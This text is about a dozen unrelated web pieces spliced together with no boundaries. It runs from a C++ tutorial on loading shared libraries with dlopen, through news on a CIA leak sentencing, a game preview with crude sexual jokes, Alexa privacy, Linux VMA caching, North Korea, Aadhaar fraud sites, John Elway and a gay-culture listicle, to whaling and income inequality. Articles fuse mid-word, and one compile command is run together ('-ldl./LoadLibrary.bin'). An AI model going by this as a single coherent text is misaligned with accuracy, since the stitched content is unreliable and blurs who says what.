What just happened here?, well, we are telling the compiler that we want to compile the file HelloLibrary.cpp and generate a library called HelloLibrary.so, additionaly we are providing two more parameters, -shared tells the compiler that we want to create a shared object which can later be linked with other objects to form an executable, -fPIC tells the compiler to emit position-independent code (PIC) which is necessary to create a dynamic library.
Using Our Library
Now have just generated our first library, but how do we use it?. We are going to make use of the functions dlopen, dlclose y dlsym which have the following definition:
void* dlopen(const char* filename, int flag); int dlclose(void* handle); void* dlsym(void* handle, const char* symbol);
We can read more about this libraries in the Linux manuals, by executing the command man [función]. E.g. man dlopen.
We need to load the library we created in our program, for this we are will use of dlopen :
void* handle = dlopen("libHelloLibrary.so", RTLD_LAZY);
If this function executes correctly handle will point to our librería, if it fails it will be set to NULL.
Now we are going to load the function SayHello that we declared early, using dlsym as follows:
PFN_SAY_NAME hello = reinterpret_cast<PFN_SAY_NAME>(dlsym(handle, "SayHello"));
Wow, wow!, what just happened?, what is that type PFN_SAY_NAME?. Since dlsym returns a pointer of type void*, and what we need is a pointer to a function, we must have a type that allows us detect what function we are pointing to (what parameters it requires and what does it returns), to do so we declare this type as follows:
typedef void (*PFN_SAY_NAME)(const char*); // In C++11 it's easier if you have the function declaration using PFN_SAY_NAME = decltype(&SayHello);
Now we just have to call our function and close our library:
hello("Edoren"); dlclose(handle);
All Together:
#include "HelloLibrary.hpp" #include <iostream> #include <dlfcn.h> typedef void (*PFN_SAY_NAME)(const char*); int main(void) { void* handle = dlopen("libHelloLibrary.so", RTLD_LAZY); if (!handle) { std::cout << "Could not open the library" << std::endl; return 1; } PFN_SAY_NAME hello = reinterpret_cast<PFN_SAY_NAME>(dlsym(handle, "SayHello")); if (!hello) { std::cout << "Could not find symbol SayHello" << std::endl; dlclose(handle); return 1; } hello("Edoren"); dlclose(handle); return 0; }
File LoadLibrary.cpp
Additionaly I added some code to verify posible errors that could arise.
Finally we copile and execute our code as follows:
g++ -std=c++11 LoadLibrary.cpp -o LoadLibrary.bin -ldl./LoadLibrary.bin
If you look carefully at the compilation command we are making use of the dl library which contains the functions we previously used.
If you have reached this part I hope that this tutorial has been useful and you could have clearly understood the concept. You can find the source code of this tutorial on my GitHub repositoryALEXANDRIA, Va. — A former Central Intelligence Agency officer on Monday was sentenced to three and a half years in prison on espionage charges for telling a journalist for The New York Times about a secret operation to disrupt Iran’s nuclear program. The sentence was far less than the Justice Department had wanted.
The former officer, Jeffrey A. Sterling, argued that the Espionage Act, which was passed during World War I, was intended to prosecute spies, not officials who talked to journalists. He asked for the kind of leniency that prosecutors showed to David H. Petraeus, the retired general who last month received probation for providing his highly classified journals to his biographer.
The case revolves around an operation in which a former Russian scientist provided Iran with intentionally flawed nuclear component schematics. Mr. Sterling was convicted in January of disclosing the operation to James Risen, a reporter for The Times, who had revealed it in his 2006 book, “State of War.” Mr. Risen described it as a botched mission that may have inadvertently advanced Iran’s nuclear program.
The Justice Department said that Mr. Sterling’s disclosures compromised an important C.I.A. operation and jeopardized the life of a spy. Under federal sentencing guidelines, he faced more than 20 years in prison, a calculation with which the Justice Department agreed. Prosecutors sought a “severe” sentence."This is the true sequel to Aliens," said Randy Pitchford as he excitedly pitched Aliens: Colonial Marines in his usual excitable way. "No offense to Alien 3, but that movie was more like a sequel to Alien -- a single Alien, a ragtag group of people. Aliens is about this group of badasses and a whole ton of Xenos."
Indeed, with the blessing of 20th Century FOX, the story of Aliens: Colonial Marines is to be adopted into canon -- and that includes the Triceratops Alien!
Colonial Marines kicks off with a squad of ultimate badasses crashing on Hadley's Hope, the scene of the carnage witnessed in Aliens. Although the colony was devastated by an explosion at the end of the film, it still remains standing, albeit in a serious state of disrepair.
The game starts in a manner very similar to the movie. You and your squad explore the eerily quiet colony, noting the ruin around you. One Marine finds a door that has been ripped open, despite being several inches thick. Naturally, you go through that door. Then, of course, you find jars of Facehuggers, one of which is still alive and tries to rape you through the glass.
The authenticity is visible to any Aliens fan from a mile away. As the demo comes to the control room, we see the very table that Hudson used while the protagonists of Aliens were under siege and working out an exit strategy. We don't have much time to take in the sights, however, because within moments, a Xenomorph makes its first appearance, bursting from an air vent and dragging a hapless Marine with him. You hear the victim's screams echo through the vents, and that's when Hell breaks loose.
I have to say that I was blown away by what Gearbox has done with the Xenomorphs themselves. Not only are they incredibly detailed, with a beautiful representation of their biomechanical aesthetic and a gorgeous sheen to their flesh, they are animated superbly. They scurry on the ceiling, squeeze through small gaps, and hop from left to right with feline grace in order to avoid gunfire. I adore the way the Xenos have been represented in Colonial Marines, and the brand new engine used to make the game come to life is doing a fine job so far.
However, regular Aliens just don't cut it in Gearbox's world. As the Marines are pushed outside, they encounter a brand new Xenomorph, the Charger. This is a hulking brute the size of a truck, with a hard, wide head that resembles the crest of a triceratops. As a purist fanboy, I'm wondering how they're going to explain this new and weird Xeno. As a lover of extreme violence, however, I can't help but laugh as the Charger rams a squadmate into a wall and repeatedly slams its head into him until he's a crushed tube of toothpaste.
The Marines make it into a bunker, closing the doors just before the Charger squashes everyone. A larger group of soldiers are in the bunker, preparing to make their last stand. The player picks up a classic pulse rifle and a gun turret, which he places in a small side corridor that the Xenos are about to attack through. At this point, a second human player is thrown into the game to introduce us to the co-op.
Yet another classic scene occurs as the Aliens run headlong into the turret and are chewed to pieces. The player and a squadmate is also holding the Aliens off with suppressing fire. However, they start to come through the side vents, and overwhelm the position. The player has to turn back as, once again, the Xenomorphs take over. Then they cut the power.
"What do you mean they cut the power?", chimes in Randy. "They're God damn animals, man!"
The ensuing slaughter is astounding to watch. As you run through what quickly becomes a rendering plant, Marines around you are locked in their own unique struggles. One is trying to fight a Xenomorph hand-to-hand as the creature attempts to pin him down. Another is lifted in the air by one hand before the Xeno eviscerates him. The whole thing feels like a Ghost Train full of setpieces that one can only catch glimpses of.
At the demo's final hurrah, the Marines are in a storage bunker where the objective is to protect a Power Loader. The Loader is burning Xenos away with a flamethrower but the monsters are able to scale the walls and jump on top of it, again with some lovely animations. Your job is to shoot off the Xenomorphs as they attack the Loader. It is incredibly hectic, and you never quite feel that you're getting the upper hand, which is exactly how it should be.
Oh... and then there's an Alien Queen.
A freakin' FANTASTIC Alien Queen. It moves, hisses, and rips a man in two just how one would expect it to. It looks freakin' brilliant. Or it does before it stomps right over to the player, picks him up, and jams its biting tongue into his face.
That's when I came all over the place.
The demo did a wonderful job of showing a game that pays maximum respect to the Aliens franchise and is set to deliver one of the most authentic experiences you'll ever witness. I am more excited than ever for Colonial Marines and I have high hopes that this'll be the Aliens game we've been gagging for.
Oh, and the Wii U version WILL include a motion tracker on the controller screen. Outstanding, all we need now's a deck of cards.
Haha, Aliens reference.
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Click to open photo gallery:The Wynn Las Vegas hotel is adding an Amazon Echo to every one of its 4,748 rooms. A first for a hotel to do and a great way to market both the hotel and the Echo device.
However, it also means, should you stay there, you’ll have a built-in surveillance device potentially listening in on all your conversations whenever you are in the room. Call me crazy but there might be a few guests who don’t want Amazon listening in on their wild Vegas weekend.
The irony is sweet, given Wynn Resorts Steve Wynn’s press statement on why he chose to add an Echo to every room:
“If I have ever seen anything in my 49 years of developing resorts that has made our job of delivering a perfect experience to our guests easier and help us get to another level, it is Alexa. The ability to talk to your room is effortlessly convenient,” Wynn stated.
But with all that chatter comes Alexa’s ability to upload what you are saying to the cloud. Echo has a listening component that is activated simply by speaking out loud, making it the perfect spy device — not only for Amazon marketing purposes but also for hackers and the government to get information about you without your permission.
The device comes on by saying the wake word “Alexa.” But, according to Amazon’s FAQ, “When these devices detect the wake word, they stream audio to the cloud, including a fraction of a second of audio before the wake word.”
Alexa also uploads a bunch of personal information to the Amazon cloud both through the app and while you are interacting with the device and the app keeps a running history of past commands, which others may gain access to.
There’s also the potential to turn on the device without saying the wake word. While anecdotal, I’ve had a Dot turn on from something on the TV and I’ve had friends who’ve told me their devices have come on out of nowhere as well.
Of course, you can always unplug it, if you remember to do that and there will be those who don’t really care that Amazon is listening in, trading in a little surveillance for convenience, which seems to be what the Wynn is going for.
“In partnership with Amazon, becoming the first resort in the world in which guests can verbally control every aspect of lighting, temperature and the audio-visual components of a hotel room is yet another example of our leadership in the world of technology for the benefit of all of our guests,” Wynn said.
And really phones and laptops can do the same thing, bringing us both technological convenience and a way to listen in and record conversations through built-in microphones and cameras. So what’s yet another device set up in your hotel room for the same purposes?
Alexa won’t be fully operational in all the guests rooms until 2017, which means no playing music or buying stuff on Amazon for now but features like personal assistant will be released down the road. And, as the NYTimes Farhad Manjoo pointed out on Twitter, this is a great way to introduce the product to guests who may wind up wanting one in their own homes later.
So the next time you stay at the Wynn in Vegas, just remember Big Echo is listening.Optimizing VMA caching
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mmap()
/proc/PID/maps
The kernel divides each process's address space into virtual memory areas (VMAs), each of which describes where the associated range of addresses has its backing store, its protections, and more. A mapping created by, for example, will be represented by a single VMA, while mapping an executable file into memory may require several VMAs; the list of VMAs for any process can be seen by looking at. Finding the VMA associated with a specific virtual address is a common operation in the memory management subsystem; it must be done for every page fault, for example. It is thus not surprising that this mapping is highly optimized; what may be surprising is the fact that it can be optimized further.
The VMAs for each address space are stored in a red-black tree, which enables a specific VMA to be looked up in logarithmic time. These trees scale well, which is important; some processes can have hundreds of VMAs (or more) to sort through. But it still takes time to walk down to a leaf in a red-black tree; it would be nice to avoid that work at least occasionally if it were possible. Current kernels work toward that goal by caching the results of the last VMA lookup in each address space. For workloads with any sort of locality, this simple cache can be quite effective, with hit rates of 50% or more.
But Davidlohr Bueso thought it should be possible to do better. Last November, he posted a patch adding a second cache holding a pointer to the largest VMA in each address space. The logic was that the VMA with the most addresses would see the most lookups, and his results seemed to bear that out; with the largest-VMA cache in place, hit rates went to over 60% for some workloads. It was a good improvement, but the patch did not make it into the mainline. Looking at the discussion, one can quickly come up with a useful tip for aspiring kernel developers: if Linus responds by saying "This patch makes me angry," the chances of it being merged are relatively small.
Linus's complaint was that caching the largest VMA seemed "way too ad-hoc" and wouldn't be suitable for a lot of workloads. He suggested caching a small number of recently used VMAs instead. Additionally, he noted that maintaining a single cache per address space, as current kernels do, might not be a good idea. In situations where multiple threads are running in the same address space, it is likely that each thread will be working with a different set of VMAs. So making the cache per-thread, he said, might yield much better results.
A few iterations later, Davidlohr has posted a VMA-caching patch set that appears to be about ready to go upstream. Following Linus's suggestion, the single-VMA cache ( mmap_cache in struct mm_struct ) has been replaced by a small array called vmacache in struct task_struct, making it per-thread. On systems with a memory management unit (almost all systems), that array holds four entries. There are also new sequence numbers stored in both struct mm_struct (one per address space) and in struct task_struct (one per thread).
The purpose of the sequence numbers is to ensure that the cache does not return stale results. Any change to the address space (the addition or removal of a VMA, for example) causes the per-address-space sequence number to be incremented. Every attempt to look up an address in the per-thread cache first checks the sequence numbers; if they do not match, the cache is deemed to be invalid and will be reset. Address-space changes are relatively rare in most workloads, so the invalidation of the cache should not happen too often.
Every call to find_vma() (the function that locates the VMA for a virtual address) first does a linear search through the cache to see if the needed VMA is there. Should the VMA be found, the work is done; otherwise, a traversal of the red-black tree will be required. In this case, the result of the lookup will be stored back into the cache. That is done by overwriting the entry indexed by the lowest bits of the page-frame number associated with the original virtual address. It is, thus, a random replacement policy for all practical purposes. The caching mechanism is meant to be fast so there would probably be no benefit from trying to implement a more elaborate replacement policy.
How well does the new scheme work? It depends on the workload, of course. For system boot, where almost everything running is single-threaded, Davidlohr reports that the cache hit rate went from 51% to 73%. Kernel builds, unsurprisingly, already work quite well with the current scheme with a hit rate of 75%, but, even in this case, improvement is possible: that rate goes to 88% with Davidlohr's patch applied. The real benefit, though, can be seen with benchmarks like ebizzy, which is designed to simulate a multithreaded web server workload. Current kernels find a cached VMA in a mere 1% of lookup attempts; patched kernels, instead, show a 99.97% hit rate.
With numbers like that, it is hard to find arguments for keeping this patch out of the mainline. At this point, the stream of suggestions and comments has come to a halt. Barring surprises, a new VMA lookup caching mechanism seems likely to find its way into the 3.15 kernel. |
. There is a danger there.”
ALISON ARNGRIM TALKS TENSION ON SET
Becoming “nasty Nellie” proved to be therapeutic for Arngrim. She previously told Fox News that being bad onscreen helped her cope with the sexual abuse she faced as a child.
“There’s one episode where I’m screaming, trashing the kitchen, and getting flour everywhere,” she recalled. “I just remember raising my fists and screaming. I looked back at it and went, ‘Yep, I was very relaxed after that day … ’ it helped me get a lot of things out of my system.”
Arngrim also revealed how other child stars could face abuse closer to home.
“There are also high incidences of parents who don’t have their children’s best interest at heart,” she said. “Someone who pushes a kid to work while they steal the money — those same kinds of parents are unfortunately the ones that could sexually abuse them … but there are so many more resources now.
"Back in my day, there wasn’t a sexual harassment hotline. There was a safety hotline if you’re doing dangerous things [on set]. But now there are multiple hotlines, including one through the union where you can call and report if you’re being sexually harassed. This didn’t exist in my time.”
Arngrim is hoping more work will be done to help other young victims in need.
“I’d like to see really close supervision on set,” she said. “They’re supposed to be there. On ‘Little House’ it was there … but it’s not always there today and I’d like to see more of that.
"There are many parents who work and can’t take their children to the set so they’ll have a trusted relative. But you know, sometimes they’ll just get a friend, or the friend of a friend. Or they’ll hire someone as some sort of babysitter. They’re supposed to be a guardian, but they’re not guarding anything.”BRANCHBURG, N.J. — President Trump signaled Sunday that he does not believe that attempts at direct communications with North Korea are worth the effort despite escalating tensions between Washington and Pyongyang.
A day after Secretary of State Rex Tillerson suggested that the United States maintains “lines of communications” with Kim Jong Un's regime, Trump wrote on Twitter that Tillerson is “wasting his time trying to negotiate with Little Rocket Man” — his nickname for Kim.
...Save your energy Rex, we'll do what has to be done! — Donald J. Trump (@realDonaldTrump) October 1, 2017
The president has taken an increasingly hard-line stance toward Pyongyang over its nuclear weapons and ballistic missile tests, threatening in a speech to the U.N. General Assembly two weeks ago to “totally destroy” North Korea if necessary.
Tillerson, on a visit to Beijing, told reporters Saturday that the State Department is “probing” through direct channels with the North whether Kim would be open to talks and under what conditions.
“We ask, ‘Would you like to talk?’ We have lines of communications to Pyongyang. We’re not in a dark situation, a blackout. We have a couple, three, channels open to Pyongyang; we can talk to them; we do talk to them,” Tillerson said.
“Stay tuned,” he added.
Trump, who is spending the weekend at his Bedminster golf resort in New Jersey, has said repeatedly that he is open to military options. North Korean officials have suggested that Trump's threats amount to a declaration of war.
Later Sunday, Trump said he would succeed where his predecessors had not, but he noted that U.S. diplomacy with Kim has failed over 25 years. Kim is 33 and only came to power after his father, Kim Jong Il, died in December 2011.UIDAI has not authorized the owners of these mobile applications or websites to extend any Aadhaar related services on its behalf
Demonstrating zero tolerance to unauthorized websites and mobile applications providing Aadhaar-related services illegally by charging excessive money from the public, Unique Identification Authority of India (UIDAI) in an stern action against them has got shut down 12
websites and 12 mobile applications available on the Google Playstore; and has directed further to close down 26 more such fraudulent and illegal websites/applications.
UIDAI noticed that these websites and mobile application downloadable through Google Play Store were providing unauthorized Aadhaar related services such as downloading online Aadhaar card, providing status of Aadhaar generation, PVC Aadhaar Card, etc. to residents and in that process they were illegally obtaining the Aadhaar number/enrolment details from the residents.
“UIDAI has not authorized the owners of these mobile applications or websites to extend any Aadhaar related services on its behalf,” said Dr. Ajay Bhushan Pandey, CEO, UIDAI.
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He further added, “Any Aadhaar-related demographic information can only be shared following the procedures laid down in the Aadhaar Act 2016. Any such violation is punishable under Section 38 and Chapter VII of the Aadhaar Act that provides punishment for “Whoever, not being authorized by the Authority, intentionally accesses or secures, downloads, copies or extracts any data from the Central Identities Data Repository or stored in any removable storage medium…”
To update your Aadhaar card, you need to visit the nearest authorised enrollment centre. You may easily search for the authorised center online. For making any updates you need to fill a simple form of updation and no additional documents are required except your Aadhaar card number. However, if you want to correct your address proof, you may require to submit a self-attested identity proof or address proofs, other than that using the online self accessible portal you can update the various other informations.Nicknames usually spawn from admiration and affection, and around these parts John Elway has received more than most.
There is only one “No. 7” in the Rocky Mountain region. Nestled between Hollywood and the Mississippi, “The Duke” refers not to movie star John Wayne.
“Captain Comeback” must have appealed to Elway’s competitive pride. “The Drive,” “The Helicopter” and “This One’s for John!” are forever part of his legacy.
In a couple more days, people walking the halls at Broncos headquarters will have another name for Elway:
Boss.
The Broncos and owner Pat Bowlen are expected to call a news conference around midweek to announce Elway as their vice president of football operations.
“If and when we reach an agreement with John Elway, Pat is very confident that John’s intelligence, his leadership, business savvy, his knowledge of the game, and competitive fire — plus the respect that everyone in this building will have for him — will make us better right away,” said Joe Ellis, the Broncos’ chief operating officer.
Take this seriously, Broncos fans. Elway is not rejoining the organization with the idea of extending a glad hand. This is not an image-enhancing tactic, even if it is a nice byproduct for an organization that could use a shot or two of integrity after the unfortunate Josh McDaniels’ era.
Elway will have an upstairs office at the Paul D. Bowlen Memorial Broncos Centre, and he will show up every day. There’s no need to punch a clock because high-ranking management officials never count their endless hours.
His title — vice president of football operations — will be the same one Mike Shanahan carried on top of his head coaching position. On top of everybody else. Remember all that power Shanahan held at Dove Valley from 1995-2008?
Starting with the New Year, a new decade, the Broncos will enter a new era.
Elway will be in charge.
“I’m not going to get too far into that now,” Elway said Friday on his radio show on 87.7 FM The Ticket. “Hopefully, we get something done (this week). We’ll get that all settled. There is a process that has to be followed. If you understand, I don’t want to say too much about it right now.”
Overcoming the Millen effect
Might as well get this out of the way: There are people who don’t believe Elway will succeed as the Broncos’ football boss. Matt Millen did no favors for former star players attempting the transition from main floor locker room to upstairs office.
Neither did Dan Marino, Elway’s quarterback mate from the draft class of 1983.
“I’ve been around John a long time, and there’s nothing he can’t do,” said Bubby Brister, Elway’s backup quarterback in the back-to-back Super Bowl championship seasons of 1997-98. “They couldn’t have picked a better person. He can evaluate. He knows football, he knows people. He’s been in the business world and knows that. I felt like when he got out of football, he should have gone right back in there. He could have helped Mike (Shanahan). Heck, he is the Denver Broncos. He can handle it.”
But there were glowing testimonials for Bart Starr, too, before he became the Green Bay Packers’ head coach. Nine seasons and 24 more losses than wins later, Green Bay booed the legendary Starr out of town.
So what makes Elway different from so many other stars who have failed in coaching or management positions?
“It’s something that’s been on his to-do list forever,” former teammate Karl Mecklenberg said. “It’s not like the team came to him and said, ‘We need your help, we need you to be a figurehead.’ When he came to Mr. Bowlen before, Mr. Bowlen made sure he ran him through that whole Arena (Football League) thing. Mr. Bowlen had John run the Crush, and he learned the ropes there.
“It’s about time. They need something. I don’t know if a guy in the front office is necessarily the answer. But I think John will figure it out.”
Besides his experience with the Colorado Crush, which won the AFL title in its third season of 2005, Elway is the son of the late Jack Elway, a longtime college coach, who finished his career with the Broncos as one of Bowlen’s most trusted consultants.
As John Elway waited until he felt the timing was right to join the Broncos, he turned his golf hobby into a serious passion. Although he became a scratch golfer, Elway is ready to put away the clubs. He may keep his bag in the trunk. But it’s not like he’s going to show up to work at 11 wearing a sweater vest and visor.
“I kind of felt like I plateaued at that level, anyway,” Elway said about his golf game. “I love the game of football. That’s what I’m excited about. The game is something that’s in my blood. It’s been there forever. I got involved in the Arena League because I wanted to be close to football and learn that front-office side. It was a great learning experience for me. It got me a chance to be close to the game, even though it was obviously a very different game at a different level. The competitive side of it is definitely the lure.”
Getting down to brass tacks
Once Broncos general manager Brian Xanders helps get Elway up to speed on the team’s roster, the free-agent market and the draft market, ol’ No. 7 will start making the calls.
Xanders will report to Elway. The new head coach will report to the man who helped hire him.
“He has true leadership skills, mental toughness. I can tell that,” Xanders said. “And he’s going to hold everybody accountable. I think it’s a great opportunity for him to oversee the whole football operations of the Denver Broncos, because he knows the expectations of the fans and the organization. And he’s going to try and lead us there.”
Understand, this is not a mere public relations move. This is the Broncos in their most worrisome state since posting a 2-7 record in the strike season of 1982 — otherwise known as the Year Before Elway. This is the 4-11 Broncos once again calling “Captain Comeback” to the rescue.
“It is not a PR move,” Ellis said. “That would be a waste of John’s time and our time and the fans’ time. Because we need to win.
“He’ll roll up his sleeves and do his job. I’ve had enough meetings with him to know that. This isn’t about him. This is about the Denver Broncos and this community and our fans, and us getting better as quickly as we can.”
Mike Klis: 303-954-1055 or [email protected]) Having an irrational fear of effeminacy in guys. It’s basically misplaced misogyny. I know we all have things we’re attracted to, but there’s a big difference between being attracted to masculine guys and being disgusted by so-called “queens,” so take note all you people who write “No Fems/Queens/Fashion Divas” in your profiles. Why without queens, this world would be an undecorated, deeply boring and highly uninspired place!
2) Describing yourself as “straight-acting.” What does that even mean? You S the D, right? WELP THERE IS NOTHING STRAIGHT ACTING ABOUT THAT AS FAR AS I AM AWARE.
3) Trying to fit some magical ideal of gay male beauty. I always get so sad when I see gay men who aren’t able to express themselves the way they should because they are so wrapped up in being just like all the other gays. You know — the gay clones. I don’t blame you, though. We do what we have to to gain acceptance. There was a period where I fully believed that if I did not wear an Abercrombie t-shirt that no gay man would ever find me attractive or want to date me. All the gays wore Abercrombie, so I felt like if I wanted acceptance, so should I. Right?
4) Using the world “masculine” as a primary self descriptor. Is there nothing else to you but that?
5) Using Grindr ACROSS MULTIPLE DEVICES. You open up your Grindr and there he is — twice. Gurl. You only need to use Grindr on one device. Having it on two does NOT expand your radius/increase your chances!
6) And speaking of Grindr, no more iPad bathroom mirror pics pls.
7) You’ve seen this one before. “Not into black guys, sorry.” Or “Only into other fit hot white dudes.” Um, problematic? And of course that leads to the following: can we stop justifying our distaste for other brown bodies with the phrase “it’s not racist, it’s just a preference”? Because like, if you have to preface what you’re saying with “it’s not racist” then it is definitely racist!
8) Getting mad or defensive if somebody calls you “girl” or “gurl.” Yes, I know you have a penis and yes I know you are not a girl you party pooping sour puss. Gay men calling each other “girl” is a term of affection, not unlike how all those hot straight white guys roaming free call each other bro.
9) Saying, “We don’t want to marry. We just want to fuck.” I know that marriage isn’t for everyone, and everyone is certainly entitled to their own opinion. I’m not even going to say something moralistic like gay men need to tone it down with the promiscuous, sexual rhetoric. You should be getting laid every second of every day if that’s your thing! But let’s not forget that our gay brothers out there would really benefit from having the same rights and privileges as straight couples. It’s like the gay rhetoric used against anti-gay people: if you don’t want to get gay married, don’t marry a gay. Let’s not rain on other people’s chance to do so.
10) Worrying about things you do that are “too gay.” Also? Saying you “hate” gay culture. You don’t “do” drag queens because they “scare” you. You want to find someone nice and normal who isn’t in the scene. What are we all so afraid of?
11) FAKE TANNING. I don’t have anything against tanning per se BUT there are certain kinds of tans that are just unacceptable — like the ones that come out of a bottle! I need you to not rub off on my sheets k thanks. This is a lesson I would like to extend to all people in society. Your skin color should not be coming out of a bottle, and if you’re going to get tan at least make sure your booty is the same color as the rest of you!
12) Uploading shirtless photos to Facebook. Yes I said it!
13) Can we cut it out with the gay inches? You gays know what I mean — saying in gay social networking spaces that your piece is eight full inches!! There is no way that every gay man on the earth has such a promised, magical wand.
14) Hating other gay men.
15) Hating ourselves.(Thanks to Steven Ballegeer for this photo on Flickr)
Just to prove I don’t hate all tall buildings, this early 1970s brutalist concrete highrise in Vancouver is a long-time favourite of mine, and one that I think has held up really well over the years. It’s known as the 805 Broadway Medical Dental Centre or the Frank Stanzl building. Completed in 1974, the 20-story tower was designed by Vladimir Plavsic.
I have been going to the same dentist in this building since I was about 14, and I’ve always liked walking into it. I think this is partly because while it may be an example of an international modernist style, its shape and its use of local materials makes it feel as if it belongs here. Every time I walk in I notice the thoughtfulness and quality of its many details. In fact, it’s so nice inside that building that it actively makes me wonder about the architect and tradespeople who worked on it. For me this is a striking change from the way I feel about most other buildings in the city.
Unlike most of the tall buildings that have gone up cheaply in Vancouver since the early 80s, this one will last a long time, and not just because it’s aesthetically pleasing and its inhabitants like it and will therefore care for it. It is more well-built and energy efficient than recent glass buildings. The inset windows and concrete structure defeat the problem of the “heat bridge” between too much gain on the sunny side and chill on the north, a problem that besets all the glass towers in the city. And it will be far easier and cheaper to repair its windows as the years go by.
I went to the dentist there on Friday and mentioned to my hygienist how much I like the building. She immediately agreed, saying she loved working there for many reasons but especially because “every window opens! You almost don’t feel as if you’re shut up inside.” That’s the paradox of it—it might look like a fortress from outside, but inside it’s a pleasing aerie. Even on the lower floors.
You approach the building across an open courtyard and enter into an airy, skylit, wood-accessoried lobby. As in the rest of the building, the interior is still exactly as it was in 1974. The elevators and building directory bear the same 1970s supergraphics they always have.
The elevators, which form such a key social area in any highrise, are well done done in every detail. On each floor the elevator waiting area is a nice central open area where the elevator doors almost function as art, so that somehow you really don’t feel you’re in a faceless institution. In addition the graphics on the elevator doors, which depict the building’s side profile, are different colours on various floors. Like the building’s other interior details, the 70s supergraphics give you a sense of the building’s own history without making you feel trapped in the 70s—which would perhaps have happened if the design hadn’t been done right the first time. I love that the beautiful stainless steel inset ashtrays by the elevator are still there too; someone has lovingly refused to depart from the original design features of this building. The elevators are still lined with the same oak panels installed in 1974, and as is usually the case with solid wood, the dents, scratches, wear and discolouration are a plus rather than a minus.
The stairs are a nice cream-coloured plain marble with anti-slip bands carved into them, in a pattern consistent with the building’s strongly geometric exterior. The chunky Douglas Fir L-shaped bench in the lobby has been there right from the beginning. All the fir and oak (and cedar?) panelling on the walls and ceiling is original too, and still beautiful.
What’s especially remarkable about the building is the quality and beauty of its concrete form work, which is gorgeous nearly 40 years later. It is so appealing to see the grain of Douglas fir (and some cedar I think?) stamped into the concrete at every turn—it’s endlessly interesting to look at (and even touch) while I’m waiting for the elevator. When you’re sitting in the dentist’s chair, the horizontal stripes of the form work continue from the inside wall to the outside of the building, with only the slightest interruption of the windows. Which, on that late May day, were wide open.
This is how you build a tall office building in this climate. Just a beautifully realized building with strong local westcoast modernist flavour. This is a building made by an architect and a developer who had some pride, sensitivity and vision, and who actually considered things in a manner that had nothing to do with money.
Sorry about the photos; I only had my iPhone on me. For more buildings in the brutalist tradition in Vancouver, see this one. And 805 Broadway was clearly influenced by Arthur Erickson’s MacMillan Bloedel Building.
Elevator area just off lobby.
Above, beautifully made solid Douglas fir bench in the lobby, under an angled skylight you can read by on the darkest day. Notice the bevel on the inner legs. Someone should copy this, if there’s any old growth left, or any good fir that’s not being exported in raw logs. Below: beautifully rough-textured concrete stairways with original Douglas fir handrails.
Above, looking up above the bench in the lobby through the skylight. Concrete, wood and glass; classic westcoast modernism. Even the concrete deliberately indexes the wooden boards it was formed inside, boards of exactly the same dimension as the panelling that abuts them. Even if you don’t consciously notice these details, the brain registers it all unconsciously as a calming harmony. Plavsic thought of everything.
UPDATE: photos of the stairwell graphics and women’s bathroom by my friend Kate Armstrong – thanks Kate!Japan harpoons whaling compromise
Updated
Japan says it is not interested in cutting its whaling program in the Antarctic in return for being allowed to resume commercial whaling in coastal waters.
Under a compromise plan drawn up by the head of the International Whaling Commission (IWC), Japan would have its annual quota of minke whales in the Antarctic slashed from 935 to 400.
It would then reduce its catch to 200 over the following five years.
In exchange, Japan would be allowed to resume its commercial hunt for up to 120 minke whales a year in its own waters.
This would mean Japan's four traditional whaling communities could return to hunting for the first time since 1988.
But Japan has turned down the deal and Australia and New Zealand oppose it, which means any possible agreement at the IWC meeting in Morocco in June looks highly unlikely.
Environment Minister Peter Garrett says Australia remains opposed to both commercial whaling and Japan's so-called lethal scientific whaling.
Japan opposes the compromise because it aims to cut their Antarctic catch.
The country's fisheries minister, Hirotaka Akamatsu, says the plan goes against what Japan has been requesting.
"Japan greatly appreciates the proposal to allow us to resume coastal whaling," he said.
"But Japan cannot accept a cut in its Antarctic whaling... it's too drastic."
Japan wants both a resumption of commercial whaling and a continuation of the Antarctic hunt.
It plans to ratchet up the pressure to push up the proposed quotas as much as possible before the IWC meeting.
So this means that unless one side - Australia or Japan - caves in, then nothing is likely to come out of the Morocco talks.
With an election in Australia this year and the Japanese government shackled to powerful pro-whaling interests and constituencies, the IWC compromise is likely to be the next thing facing the harpoon.
Topics: whaling, environment, conservation, government-and-politics, federal-government, world-politics, japan, australia, new-zealand
First postedWhat this report finds: Boosting income growth for the bottom 90 percent requires a policy agenda that explicitly aims to halt or reverse the rise in inequality in the United States in recent decades. The economic evidence shows no generalizable relationship between rising inequality and faster growth. This is important good news. It means that an agenda based on progressive redistribution can unambiguously raise living standards for the bottom 90 percent and even likely be better for overall growth than the agenda promoted by those who are opposed to strong efforts to check rising inequality and instead want to focus solely on spurring overall growth. Why this matters: The lack of a general relationship between inequality and growth means that specifics matter in policy debates. And the specifics of the modern “growth only” agenda will fail. Policies such as cutting top tax rates, deregulating industries, and signing more trade agreements will both fail to appreciably boost growth rates and continue to send a disproportionate share of income gains to the top 10 and 1 percents. The “growth only” agenda has already been tried, and the results have been slower overall growth and sluggish income gains for the vast majority in recent decades. How we can fix the problem: Income redistribution over the last few decades has been a zero-sum process, with gains at the top essentially coming straight out of the pockets of the bottom 90 percent of Americans. This zero-sum dynamic means that intelligent policies—including but going way beyond smarter and fairer taxing and spending—can convert these lost potential gains for the bottom and middle into actual income increases without harming overall economic growth. We should: Use the levers of macroeconomic policy (monetary, fiscal, and exchange-rate policy) to target genuine full employment.
Make investments that markets are not making—in early childhood education, infrastructure, school construction, energy efficiency, and public health care.
Strengthen antitrust regulations and look for other opportunities to introduce competition to private markets, such as public options for health insurance and retirement savings.
Reregulate many activities of the financial sector to squeeze out the activities that don’t enhance productivity or create efficiency but simply enrich well-placed actors within finance. A financial transactions tax is the clearest example of a policy that can stop this income skimming.
Enact climate-change mitigation measures—realizing that policies beyond simply increasing the market price of greenhouse gas emissions can play large and useful roles.
Strengthen regulations and institutions that help shift bargaining leverage from capital-owners and corporate managers to low- and middle-income workers. Key examples include higher minimum wages and labor law reform that allows willing workers to join unions and bargain collectively.
Introduction and summary of findings
The decades-long rise in income inequality has finally become a front-burner political issue, dominating much of the debate in the 2016 presidential campaign. Predictably, those opposed to strong efforts to check (or even reverse) the rise in inequality have objected to this focus, and have argued instead that the simple pace of overall economic growth, and not how this growth is distributed, should be the prime concern of policymakers. Often this argument has a political edge; focusing on distribution is bad for candidates’ electoral prospects. Maybe this political argument is right (we are no experts on that), but regardless of whether it is a good short-term electoral strategy, a sustained policy effort to either arrest or reverse the rise in inequality is a necessary economic strategy if the goal is maximizing income growth for low- and middle-income American households.
